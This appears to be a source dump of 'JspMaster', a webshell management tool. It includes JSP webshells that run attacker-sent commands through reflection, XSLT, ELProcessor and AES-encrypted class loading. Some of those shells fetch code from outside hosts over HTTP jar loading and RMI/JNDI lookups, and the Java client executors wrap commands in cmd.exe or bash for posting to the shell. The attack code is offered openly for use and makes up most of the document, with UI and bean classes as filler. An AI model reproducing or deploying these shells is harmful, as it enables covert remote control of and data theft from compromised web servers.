9 | Class clazz = null;
10 | try{
11 | clazz = Class.forName("org.apache.clinton.DebugRequest", true, new URLClassLoader(new URL[]{new URL("http://10.21.140.73:8888/debug.jar")}));
12 | }catch(Exception e){
13 | e.printStackTrace();
14 | }
15 | return clazz;
16 | }
17 | }
18 | %>
19 | <%!
20 | Class clazz = new Holder().getInstance();
21 | %>
22 | <%
23 | BufferedReader br = request.getReader();
24 | String str, postBody = "";
25 | while((str = br.readLine()) != null) {
26 | postBody += str + "\n";
27 | }
28 | if(postBody != null && !postBody.trim().equals("")){
29 | postBody = postBody.substring(0, postBody.length()-1);
30 | Method method = clazz.getMethod("compare", String.class);
31 | response.getWriter().print(method.invoke(clazz.newInstance(), postBody));
32 | }
33 | %>
--------------------------------------------------------------------------------
/shell/流量未加密版本/xslt.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="javax.xml.transform.*"%>
2 | <%@ page import="javax.xml.transform.stream.*"%>
3 | <%@ page import="java.io.*" %>
4 | <%@ page contentType="text/html;charset=GB2312" language="java" %>
5 | <%
6 | BufferedReader br = request.getReader();
7 | String str, wholeStr = "";
8 | while((str = br.readLine()) != null) {
9 | wholeStr += str + "\n";
10 | }
11 | br.close();
12 |
13 | if(wholeStr != null && !wholeStr.trim().equals("")) {
14 | wholeStr = wholeStr.substring(0, wholeStr.length() - 1);
15 | try {
16 | InputStream in = new ByteArrayInputStream(wholeStr.getBytes());
17 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
18 | StreamResult result = new StreamResult(baos);
19 |
20 | Transformer t = TransformerFactory.newInstance().newTransformer(new StreamSource(in));
21 | t.transform(new StreamSource(new ByteArrayInputStream("".getBytes())), result);
22 |
23 |
24 | response.getWriter().print(baos.toString().trim().substring(1).trim());
25 | out.clearBuffer();
26 | baos.close();
27 | in.close();
28 | }catch(Exception e){
29 | e.printStackTrace();
30 | }
31 | }
32 | %>
33 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/executor/ClassLoaderCommandExecutor.java:
--------------------------------------------------------------------------------
1 | package com.feihong.executor;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 | import com.feihong.util.BasicSetting;
5 | import com.feihong.util.ConfigUtil;
6 | import com.feihong.util.WrappedHttpRequest;
7 |
8 | public class ClassLoaderCommandExecutor implements CommandExecutor {
9 |
10 | @Override
11 | public String getName() {
12 | return "URLClassLoader";
13 | }
14 |
15 | @Override
16 | public CommandExecutionResult exec(String command) {
17 | String wrappedCommand;
18 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){
19 | wrappedCommand = command;
20 | }else{
21 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){
22 | wrappedCommand = "cmd.exe,/c," + command;
23 | }else{
24 | wrappedCommand = "/bin/bash,-c," + command;
25 | }
26 | }
27 |
28 | if(BasicSetting.getInstance().encrypt){
29 | return WrappedHttpRequest.post(BasicSetting.getInstance().shellUrl + "?key=" + ConfigUtil.getCommunicationKey() + "&iv=" + ConfigUtil.getIV(), wrappedCommand);
30 | }else{
31 | return WrappedHttpRequest.post(wrappedCommand);
32 | }
33 |
34 | }
35 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/asm/BehinderExploit.java:
--------------------------------------------------------------------------------
1 | package com.feihong.asm;
2 |
3 | import javax.servlet.jsp.PageContext;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.IOException;
6 | import java.io.InputStream;
7 |
8 | public class BehinderExploit{
9 | private String str;
10 |
11 | @Override
12 | public boolean equals(Object obj) {
13 | if(obj instanceof PageContext){
14 | PageContext page = (PageContext)obj;
15 | String result = "";
16 | try{
17 | InputStream inputStream = Runtime.getRuntime().exec(str.split(",",3)).getInputStream();
18 | int len = 0;
19 | byte[] bytes = new byte[1024];
20 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
21 | while((len = inputStream.read(bytes)) != -1){
22 | baos.write(bytes, 0, len);
23 | }
24 | result = baos.toString();
25 | inputStream.close();
26 | baos.close();
27 | }catch (Exception e){
28 | e.printStackTrace();
29 | }
30 |
31 | try {
32 | page.getResponse().getWriter().print(result.trim());
33 | } catch (IOException e) {
34 | e.printStackTrace();
35 | }
36 | }
37 |
38 | return super.equals(obj);
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/bean/FileModel.java:
--------------------------------------------------------------------------------
1 | package com.feihong.bean;
2 |
3 | public class FileModel {
4 | public String name;
5 | public String type;
6 | public String size;
7 | public String date;
8 |
9 | @Override
10 | public String toString() {
11 | return "FileEntry{" +
12 | "name='" + name + '\'' +
13 | ", type='" + type + '\'' +
14 | ", size='" + size + '\'' +
15 | ", date='" + date + '\'' +
16 | '}';
17 | }
18 |
19 | public FileModel(String name, String type, String size, String date) {
20 | this.name = name;
21 | this.type = type;
22 | this.size = size;
23 | this.date = date;
24 | }
25 |
26 | public String getName() {
27 | return name;
28 | }
29 |
30 | public void setName(String name) {
31 | this.name = name;
32 | }
33 |
34 | public String getType() {
35 | return type;
36 | }
37 |
38 | public void setType(String type) {
39 | this.type = type;
40 | }
41 |
42 | public String getSize() {
43 | return size;
44 | }
45 |
46 | public void setSize(String size) {
47 | this.size = size;
48 | }
49 |
50 | public String getDate() {
51 | return date;
52 | }
53 |
54 | public void setDate(String date) {
55 | this.date = date;
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/shell/流量未加密版本/reflection-3.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.io.*" %>
2 | <%@ page import="java.lang.reflect.Method" %>
3 | <%@ page import="java.util.Map" %>
4 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
5 | <%
6 | BufferedReader br = request.getReader();
7 | String str, wholeStr = "";
8 | while((str = br.readLine()) != null) {
9 | wholeStr += str + "\n";
10 | }
11 | br.close();
12 |
13 | if(wholeStr != null && !wholeStr.trim().equals("")){
14 | wholeStr = wholeStr.substring(0,wholeStr.length()-1);
15 | Class clazz = Class.forName(new String(new byte[] {106,97,118,97,46,108,97,110,103,46,80,114,111,99,101,115,115,73,109,112,108}));
16 | Method method = clazz.getDeclaredMethod(new String(new byte[]{115,116,97,114,116}), String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
17 | method.setAccessible(true);
18 | Process p = (Process)method.invoke(null, wholeStr.split(",",3), null, null, null, true);
19 | InputStream in = p.getInputStream();
20 | int len = 0;
21 | byte[] buffer = new byte[1024];
22 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
23 | while((len = in.read(buffer)) != -1){
24 | baos.write(buffer, 0, len);
25 | }
26 |
27 | response.getWriter().print(baos.toString().trim());
28 | in.close();
29 | baos.close();
30 | }
31 | %>
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ui/Start.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ui;
2 |
3 | import com.feihong.util.BasicSetting;
4 | import com.feihong.util.ConfigUtil;
5 | import javafx.application.Application;
6 | import javafx.scene.Scene;
7 | import javafx.scene.layout.BorderPane;
8 | import javafx.scene.layout.VBox;
9 | import javafx.stage.Stage;
10 |
11 | public class Start extends Application {
12 |
13 | @Override
14 | public void start(Stage primaryStage) throws Exception{
15 | // System.setProperty("user.dir","C:\\Users\\41157\\Desktop\\Ligthsaber");
16 |
17 | if(!ConfigUtil.isInitialized()){
18 | InitializeUI initializeUI = new InitializeUI();
19 | initializeUI.show();
20 | }else{
21 | if(ConfigUtil.isEncrypt()){
22 | VBox vBox = LoginUI.getPane();
23 | primaryStage.setTitle("打开JspMaster");
24 | primaryStage.setScene(new Scene(vBox, 380, 150));
25 | primaryStage.show();
26 | }else{
27 | BorderPane borderPane = new ShellManagerPane().getPane();
28 | primaryStage.setTitle("JspMaster v1.01 Written by 飞鸿");
29 | primaryStage.setScene(new Scene(borderPane, 1150, 500));
30 | primaryStage.show();
31 | }
32 | }
33 | }
34 |
35 | public static void main(String[] args) {
36 | launch(args);
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/shell/流量加密版本/URLClassLoader-aes.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.net.URL" %>
2 | <%@ page import="java.net.URLClassLoader" %>
3 | <%@ page import="java.lang.reflect.Method" %>
4 | <%@ page import="java.io.BufferedReader" %>
5 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
6 | <%!
7 | private class Holder{
8 | public Class getInstance() {
9 | Class clazz = null;
10 | try{
11 | clazz = Class.forName("org.apache.clinton.DebugRequest", true, new URLClassLoader(new URL[]{new URL("http://10.21.140.73:8888/debug.jar")}));
12 | }catch(Exception e){
13 | e.printStackTrace();
14 | }
15 | return clazz;
16 | }
17 | }
18 | %>
19 | <%!
20 | Class clazz = new Holder().getInstance();
21 | %>
22 | <%
23 | BufferedReader br = request.getReader();
24 | String str, postBody = "";
25 | while((str = br.readLine()) != null) {
26 | postBody += str + "\n";
27 | }
28 | br.close();
29 |
30 | String key = "[key_placeholder]";
31 | String iv = "[iv_placeholder]";
32 |
33 | if(postBody != null && !postBody.trim().equals("")){
34 | postBody = postBody.substring(0, postBody.length()-1);
35 | Method method = clazz.getMethod("compareEncrypt", String.class, String.class, String.class);
36 | response.getWriter().print(method.invoke(clazz.newInstance(), key, iv, postBody));
37 | }
38 | %>
--------------------------------------------------------------------------------
/src/main/java/com/feihong/bean/CommandExecutionResult.java:
--------------------------------------------------------------------------------
1 | package com.feihong.bean;
2 |
3 | public class CommandExecutionResult {
4 | private String responseResult;
5 | private int responseStatusCode;
6 | private String exception;
7 | private String errorMsg;
8 |
9 | public String getResponseResult() {
10 | return responseResult;
11 | }
12 |
13 | public void setResponseResult(String responseResult) {
14 | this.responseResult = responseResult;
15 | }
16 |
17 | public int getResponseStatusCode() {
18 | return responseStatusCode;
19 | }
20 |
21 | public void setResponseStatusCode(int responseStatusCode) {
22 | this.responseStatusCode = responseStatusCode;
23 | }
24 |
25 | public String getException() {
26 | return exception;
27 | }
28 |
29 | public void setException(String exception) {
30 | this.exception = exception;
31 | }
32 |
33 | public String getErrorMsg() {
34 | return errorMsg;
35 | }
36 |
37 | public void setErrorMsg(String errorMsg) {
38 | this.errorMsg = errorMsg;
39 | }
40 |
41 | @Override
42 | public String toString() {
43 | return "CommandExecutionResult{" +
44 | "responseResult='" + responseResult + '\'' +
45 | ", responseStatusCode=" + responseStatusCode +
46 | ", exception='" + exception + '\'' +
47 | ", errorMsg='" + errorMsg + '\'' +
48 | '}';
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/shell/流量未加密版本/jndi.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="javax.naming.NamingException" %>
2 | <%@ page import="java.util.Hashtable" %>
3 | <%@ page import="javax.naming.Context" %>
4 | <%@ page import="javax.naming.InitialContext" %>
5 | <%@ page import="java.lang.reflect.Method" %>
6 | <%@ page import="java.io.BufferedReader" %>
7 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
8 | <%!
9 | public class JNDI {
10 |
11 | public Object lookup(String url){
12 | try{
13 | Hashtable env = new Hashtable();
14 | env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
15 | System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
16 | System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true");
17 | InitialContext ctx = new InitialContext(env);
18 | return ctx.lookup(url);
19 | }catch(NamingException e){
20 | e.printStackTrace();
21 | }
22 |
23 | return null;
24 | }
25 | }
26 | %>
27 | <%!
28 | Object obj = new JNDI().lookup("rmi://192.168.177.129:1099/Object");
29 | %>
30 | <%
31 | BufferedReader br = request.getReader();
32 | String str, wholeStr = "";
33 | while((str = br.readLine()) != null) {
34 | wholeStr += str + "\n";
35 | }
36 | br.close();
37 |
38 | if(wholeStr != null && !wholeStr.trim().equals("")){
39 | wholeStr = wholeStr.substring(0,wholeStr.length()-1);
40 | Method method = obj.getClass().getMethod("run", String.class);
41 | response.getWriter().print(((String)method.invoke(obj, wholeStr)));
42 | }
43 | %>
44 |
--------------------------------------------------------------------------------
/.idea/artifacts/JspMaster.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | $PROJECT_DIR$/out/artifacts/JspMaster
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/executor/ScriptManagerExecutor.java:
--------------------------------------------------------------------------------
1 | package com.feihong.executor;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 | import com.feihong.util.BasicSetting;
5 | import com.feihong.util.WrappedHttpRequest;
6 | import org.omg.PortableInterceptor.SYSTEM_EXCEPTION;
7 |
8 | public class ScriptManagerExecutor implements CommandExecutor{
9 | @Override
10 | public String getName() {
11 | return "ScriptManager-JS";
12 | }
13 |
14 | @Override
15 | public CommandExecutionResult exec(String command) {
16 | command = command.replace("\\","\\\\");
17 | command = command.replaceAll("\n","\\\\n");
18 | command = command.replaceAll("'","\\\\\'");
19 |
20 | String wrappedCommand;
21 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){
22 | wrappedCommand = "var a = java.lang.Runtime.getRuntime().exec(\"" + command + "\").getInputStream();out.println(obj.readInputStream(a))";
23 | }else{
24 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){
25 | wrappedCommand = "var strs=new Array(3);strs[0]='cmd.exe';strs[1]='/c';strs[2]='" + command + "';var a = java.lang.Runtime.getRuntime().exec(strs).getInputStream();out.println(obj.readInputStream(a))";
26 | }else{
27 | wrappedCommand = "var strs=new Array(3);strs[0]='/bin/bash';strs[1]='-c';strs[2]='" + command + "';var a = java.lang.Runtime.getRuntime().exec(strs).getInputStream();out.println(obj.readInputStream(a))";
28 | }
29 | }
30 |
31 |
32 | return WrappedHttpRequest.post(wrappedCommand);
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/shell/流量加密版本/behinder-aes.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.io.BufferedReader" %>
2 | <%@ page import="javax.crypto.SecretKey" %>
3 | <%@ page import="javax.crypto.spec.SecretKeySpec" %>
4 | <%@ page import="javax.crypto.spec.IvParameterSpec" %>
5 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %>
6 | <%@ page import="javax.crypto.Cipher" %>
7 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
8 | <%!
9 | class U extends ClassLoader{
10 | U(ClassLoader c){
11 | super(c);
12 | }
13 |
14 | public Class g(byte []b){
15 | return super.defineClass(b,0,b.length);
16 | }
17 | }
18 |
19 | public static String decrypt(final String encrypted) {
20 | try {
21 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
22 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
23 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted);
24 | // 指定加密的算法、工作模式和填充方式
25 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
26 | cipher.init(Cipher.DECRYPT_MODE, key, iv);
27 | return new String(cipher.doFinal(decodeBase64), "UTF-8");
28 | } catch (Exception e) {
29 | e.printStackTrace();
30 | return null;
31 | }
32 | }
33 | %>
34 | <%
35 | String wholeStr = request.getReader().readLine();
36 | if(wholeStr != null && !wholeStr.trim().equals("")) {
37 | wholeStr = decrypt(wholeStr);
38 | new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(wholeStr)).newInstance().equals(pageContext);
39 | }
40 | %>
--------------------------------------------------------------------------------
/src/main/java/com/feihong/task/OpenMainUITask.java:
--------------------------------------------------------------------------------
1 | package com.feihong.task;
2 |
3 | import com.feihong.bean.ShellEntry;
4 | import com.feihong.ui.MainUI;
5 | import com.feihong.util.BasicSetting;
6 | import com.feihong.util.ConnectionUtil;
7 | import javafx.concurrent.Task;
8 |
9 | public class OpenMainUITask extends Task {
10 | private MainUI mainUI;
11 | private ShellEntry entry;
12 | private String result;
13 | private int status;
14 |
15 | public OpenMainUITask(MainUI mainUI, ShellEntry entry){
16 | this.mainUI = mainUI;
17 | this.entry = entry;
18 | }
19 |
20 | public String getResult() {
21 | return result;
22 | }
23 |
24 | public int getStatus() {
25 | return status;
26 | }
27 |
28 | @Override
29 | protected Integer call() {
30 | try{
31 | BasicSetting.getInstance().initialize(entry);
32 | this.result = ConnectionUtil.getConnectionStatus();
33 | System.out.println("Info: ConnectionUtil.getConnectionStatus(): " + this.result);
34 | if(result.equals("连接成功!")){
35 | System.out.println("Info: match");
36 | mainUI.initialize(result);
37 | this.status = 1;
38 | }else{
39 | System.out.println("Info: not match");
40 | this.status = -1;
41 | }
42 | }catch(Exception e){
43 | //尝试解决 Issues1,怀疑是哪里抛出了异常,导致的bug
44 | System.out.println("Info: Exception occured");
45 | e.printStackTrace();
46 | this.status = -1;
47 | }
48 |
49 | return 1;
50 | }
51 | }
52 | //参考:https://blog.csdn.net/loongshawn/article/details/52996382
--------------------------------------------------------------------------------
/src/main/java/com/feihong/bean/Entry.java:
--------------------------------------------------------------------------------
1 | package com.feihong.bean;
2 |
3 | import javafx.beans.property.SimpleStringProperty;
4 | import javafx.scene.control.Label;
5 | import javafx.scene.control.TreeItem;
6 |
7 | public class Entry {
8 | private Label name;
9 | private SimpleStringProperty date;
10 | private SimpleStringProperty type;
11 | private SimpleStringProperty size;
12 | private TreeItem parent;
13 |
14 | public TreeItem getParent() {
15 | return parent;
16 | }
17 |
18 | public void setParent(TreeItem parent) {
19 | this.parent = parent;
20 | }
21 |
22 | public Entry(Label name, String date, String type, String size, TreeItem parent){
23 | this.name = name;
24 | this.date = new SimpleStringProperty(date);
25 | this.type = new SimpleStringProperty(type);
26 | this.size = new SimpleStringProperty(size);
27 | this.parent = parent;
28 | }
29 |
30 | public Label getName() {
31 | return name;
32 | }
33 |
34 | public void setName(Label name) {
35 | this.name = name;
36 | }
37 |
38 | public String getDate() {
39 | return date.get();
40 | }
41 |
42 | public SimpleStringProperty dateProperty() {
43 | return date;
44 | }
45 |
46 | public void setDate(String date) {
47 | this.date.set(date);
48 | }
49 |
50 | public String getType() {
51 | return type.get();
52 | }
53 |
54 | public SimpleStringProperty typeProperty() {
55 | return type;
56 | }
57 |
58 | public void setType(String type) {
59 | this.type.set(type);
60 | }
61 |
62 | public String getSize() {
63 | return size.get();
64 | }
65 |
66 | public SimpleStringProperty sizeProperty() {
67 | return size;
68 | }
69 |
70 | public void setSize(String size) {
71 | this.size.set(size);
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/shell/流量未加密版本/rmi.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.rmi.RMISecurityManager" %>
2 | <%@ page import="java.rmi.Naming" %>
3 | <%@ page import="java.lang.reflect.Method" %>
4 | <%@ page import="java.io.BufferedReader" %>
5 | <%@ page import="java.io.File" %>
6 | <%@ page import="java.io.FileWriter" %>
7 | <%@ page import="java.io.BufferedWriter" %>
8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
9 | <%
10 | BufferedReader br = request.getReader();
11 | String str, wholeStr = "";
12 | while((str = br.readLine()) != null) {
13 | wholeStr += str + "\n";
14 | }
15 | br.close();
16 |
17 | if(wholeStr != null && !wholeStr.trim().equals("")) {
18 | wholeStr = wholeStr.substring(0,wholeStr.length()-1);
19 | try {
20 | File file = new File("security.policy");
21 | if(!file.exists()){
22 | file.createNewFile();
23 | FileWriter fileWritter = new FileWriter(file.getName(),true);
24 | BufferedWriter bufferWritter = new BufferedWriter(fileWritter);
25 | bufferWritter.write("grant {\n" +
26 | " permission java.security.AllPermission;\n" +
27 | "};");
28 | bufferWritter.close();
29 | }
30 | System.setProperty("java.security.policy","security.policy");
31 | System.setProperty("java.rmi.server.useCodebaseOnly","false");
32 | System.setSecurityManager(new RMISecurityManager());
33 |
34 | Object object = Naming.lookup("rmi://192.168.177.129:1099/Object");
35 | Method method = object.getClass().getMethod("getExploit", null);
36 | Object obj = method.invoke(object);
37 | method = obj.getClass().getMethod("run", String.class);
38 | response.getWriter().print(method.invoke(obj, wholeStr));
39 | } catch (Exception e){
40 | e.printStackTrace();
41 | }
42 | }
43 | %>
44 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ui/MainUI.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ui;
2 |
3 | import com.feihong.bean.ShellEntry;
4 | import com.feihong.util.BasicSetting;
5 | import javafx.geometry.Insets;
6 | import javafx.scene.control.Label;
7 | import javafx.scene.control.Tab;
8 | import javafx.scene.control.TabPane;
9 | import javafx.scene.layout.BorderPane;
10 | import javafx.scene.layout.FlowPane;
11 |
12 | public class MainUI {
13 | private ShellEntry entry;
14 | private BorderPane borderPane;
15 |
16 | public BorderPane getPane(){
17 | return this.borderPane;
18 | }
19 |
20 | public MainUI(ShellEntry entry){
21 | this.entry = entry;
22 | this.borderPane = new BorderPane();
23 | }
24 |
25 | public void initialize(String connectionStatus){
26 |
27 | BasicSetting basicSetting = BasicSetting.getInstance();
28 |
29 | // public String encryptKey = "";
30 | FlowPane flowPane = new FlowPane();
31 | Label statusLabel = new Label();
32 | statusLabel.setMinHeight(35);
33 | statusLabel.setText(connectionStatus);
34 | flowPane.getChildren().addAll(statusLabel);
35 | flowPane.setMargin(statusLabel,new Insets(0,0,0,10));
36 | borderPane.setBottom(flowPane);
37 |
38 | TabPane tabPane = new TabPane();
39 | Tab tab1 = new Tab(" 基本信息 ");
40 | Tab tab2 = new Tab(" 执行命令 ");
41 | Tab tab3 = new Tab(" 文件管理 ");
42 | tabPane.getTabs().addAll(tab1,tab2,tab3);
43 | // 如果不加下面这个语句,那么默认情况下,tab 上存在 x 按钮,点击 x,即可关闭 tab,我不想要这样。下面这句的作用就是去除 tab 标签的 x 按钮
44 | tabPane.setTabClosingPolicy(TabPane.TabClosingPolicy.UNAVAILABLE);
45 |
46 | if(basicSetting.isConnected == true){
47 | tab1.setContent(new BasicInfoPane().getPane());
48 | tab2.setContent(new ExecuteCMDPane().getPane());
49 | tab3.setContent(new FileManagerPane().getFileManagerPane());
50 | }
51 |
52 | borderPane.setCenter(tabPane);
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/executor/ELProcessorCommandExecutor.java:
--------------------------------------------------------------------------------
1 | package com.feihong.executor;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 | import com.feihong.util.BasicSetting;
5 | import com.feihong.util.WrappedHttpRequest;
6 |
7 | public class ELProcessorCommandExecutor implements CommandExecutor{
8 | @Override
9 | public String getName() {
10 | return "ELProcessor";
11 | }
12 |
13 | @Override
14 | public CommandExecutionResult exec(String command) {
15 | command = command.replace("\\","\\\\\\\\");
16 | command = command.replaceAll("\n","\\\\\\\\n");
17 | command = command.replaceAll("'","\\\\\\\\\\\\\'");
18 | command = command.replaceAll("\"","\\\\\"");
19 |
20 | String wrappedCommand;
21 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){
22 | wrappedCommand = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" +
23 | ".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder(['" + command + "'])" +
24 | ".start().getInputStream()\")";
25 | }else{
26 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){
27 | wrappedCommand = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" +
28 | ".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder(['cmd.exe','/c','" + command + "'])" +
29 | ".start().getInputStream()\")";
30 | }else{
31 | wrappedCommand = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" +
32 | ".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder(['/bin/bash','-c','" + command + "'])" +
33 | ".start().getInputStream()\")";
34 | }
35 | }
36 |
37 | return WrappedHttpRequest.post(wrappedCommand);
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/util/WrappedHttpRequest.java:
--------------------------------------------------------------------------------
1 | package com.feihong.util;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 |
5 | public class WrappedHttpRequest {
6 |
7 | public static CommandExecutionResult post(String url, String body){
8 | boolean b = BasicSetting.getInstance().encrypt;
9 | if(BasicSetting.getInstance().encrypt && body != null && !body.trim().equals("")){
10 | String encryptedCmd = EncryptUtil.encrypt(body, BasicSetting.getInstance().encryptKey.getBytes(), BasicSetting.getInstance().iv.getBytes());
11 | CommandExecutionResult result = HttpConnectionUtil.post(encryptedCmd);
12 | String enecryptedResult = result.getResponseResult();
13 | if(result.getException() == null){
14 | String decrypt = EncryptUtil.decrypt(enecryptedResult, BasicSetting.getInstance().encryptKey.getBytes(), BasicSetting.getInstance().iv.getBytes());
15 | result.setResponseResult(decrypt);
16 | }
17 |
18 | return result;
19 | }
20 |
21 | return HttpConnectionUtil.post(url, body);
22 | }
23 |
24 | public static CommandExecutionResult post(String body){
25 | boolean b = BasicSetting.getInstance().encrypt;
26 | if(BasicSetting.getInstance().encrypt && body != null && !body.trim().equals("")){
27 | String encryptedCmd = EncryptUtil.encrypt(body, BasicSetting.getInstance().encryptKey.getBytes(), BasicSetting.getInstance().iv.getBytes());
28 | CommandExecutionResult result = HttpConnectionUtil.post(encryptedCmd);
29 | String enecryptedResult = result.getResponseResult();
30 | if(result.getException() == null){
31 | String decrypt = EncryptUtil.decrypt(enecryptedResult, BasicSetting.getInstance().encryptKey.getBytes(), BasicSetting.getInstance().iv.getBytes());
32 | result.setResponseResult(decrypt);
33 | }
34 |
35 | return result;
36 | }
37 |
38 | return HttpConnectionUtil.post(BasicSetting.getInstance().shellUrl, body);
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/executor/BehinderCommandExecutor.java:
--------------------------------------------------------------------------------
1 | package com.feihong.executor;
2 |
3 | import com.feihong.asm.AsmForBehind;
4 | import com.feihong.bean.CommandExecutionResult;
5 | import com.feihong.util.BasicSetting;
6 | import com.feihong.util.WrappedHttpRequest;
7 |
8 | import java.util.Base64;
9 |
10 | public class BehinderCommandExecutor implements CommandExecutor {
11 | @Override
12 | public String getName() {
13 | return "冰蝎Style";
14 | }
15 |
16 | @Override
17 | public CommandExecutionResult exec(String command) {
18 | String wrappedCommand = null;
19 | AsmForBehind asm;
20 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){
21 | if(BasicSetting.getInstance().encrypt){
22 | asm = new AsmForBehind(command, true, BasicSetting.getInstance().encryptKey, BasicSetting.getInstance().iv);
23 | }else{
24 | asm = new AsmForBehind(command, false, BasicSetting.getInstance().encryptKey, BasicSetting.getInstance().iv);
25 | }
26 | }else{
27 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){
28 | if(BasicSetting.getInstance().encrypt){
29 | asm = new AsmForBehind("cmd.exe,/C," + command, true, BasicSetting.getInstance().encryptKey, BasicSetting.getInstance().iv);
30 | }else{
31 | asm = new AsmForBehind("cmd.exe,/C," + command, false, BasicSetting.getInstance().encryptKey, BasicSetting.getInstance().iv);
32 | }
33 | }else{
34 | if(BasicSetting.getInstance().encrypt){
35 | asm = new AsmForBehind("/bin/bash,-c," + command, true, BasicSetting.getInstance().encryptKey, BasicSetting.getInstance().iv);
36 | }else{
37 | asm = new AsmForBehind("/bin/bash,-c," + command, false, BasicSetting.getInstance().encryptKey, BasicSetting.getInstance().iv);
38 | }
39 | }
40 | }
41 |
42 | wrappedCommand = Base64.getEncoder().encodeToString(asm.process());
43 | return WrappedHttpRequest.post(wrappedCommand);
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ui/PenddingUI.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ui;
2 |
3 | import javafx.concurrent.Task;
4 | import javafx.concurrent.WorkerStateEvent;
5 | import javafx.event.EventHandler;
6 | import javafx.scene.Scene;
7 | import javafx.scene.control.ProgressIndicator;
8 | import javafx.scene.layout.Background;
9 | import javafx.scene.layout.VBox;
10 | import javafx.stage.Modality;
11 | import javafx.stage.Stage;
12 | import javafx.stage.StageStyle;
13 |
14 | //参考:https://blog.csdn.net/loongshawn/article/details/52996382
15 | public class PenddingUI {
16 | private Stage dialogStage;
17 | private ProgressIndicator progressIndicator;
18 |
19 | public PenddingUI(final Task> task, Stage primaryStage) {
20 | dialogStage = new Stage();
21 | progressIndicator = new ProgressIndicator();
22 |
23 | // 需要添加窗口父子关系属性,不然加载窗口会与父窗口并存,形成2个窗口,解决这个问题需要在加载页面代码中添加 dialogStage.initOwner(primaryStage)
24 | // 这样加载窗口就会与父窗口融合为一个窗口
25 | dialogStage.initOwner(primaryStage);
26 | dialogStage.initStyle(StageStyle.UNDECORATED);
27 | //设置stage为透明
28 | dialogStage.initStyle(StageStyle.TRANSPARENT);
29 | dialogStage.initModality(Modality.APPLICATION_MODAL);
30 |
31 |
32 | //label.getStyleClass().add("progress-bar-root");
33 | progressIndicator.setProgress(-1F);
34 | progressIndicator.getStyleClass().add("progress-bar-root");
35 | progressIndicator.progressProperty().bind(task.progressProperty());
36 |
37 | //在 VBox 中可以加入一些其他的控件,如 label 等
38 | VBox vBox = new VBox();
39 | // vBox.setSpacing(10);
40 | //这个必须有,设置背景为透明,必须和 stage 同时为透明,才不会遮盖原本的UI
41 | vBox.setBackground(Background.EMPTY);
42 | vBox.getChildren().addAll(progressIndicator);
43 |
44 | Scene scene = new Scene(vBox);
45 | scene.setFill(null);
46 | dialogStage.setScene(scene);
47 |
48 | Thread inner = new Thread(task);
49 | inner.start();
50 |
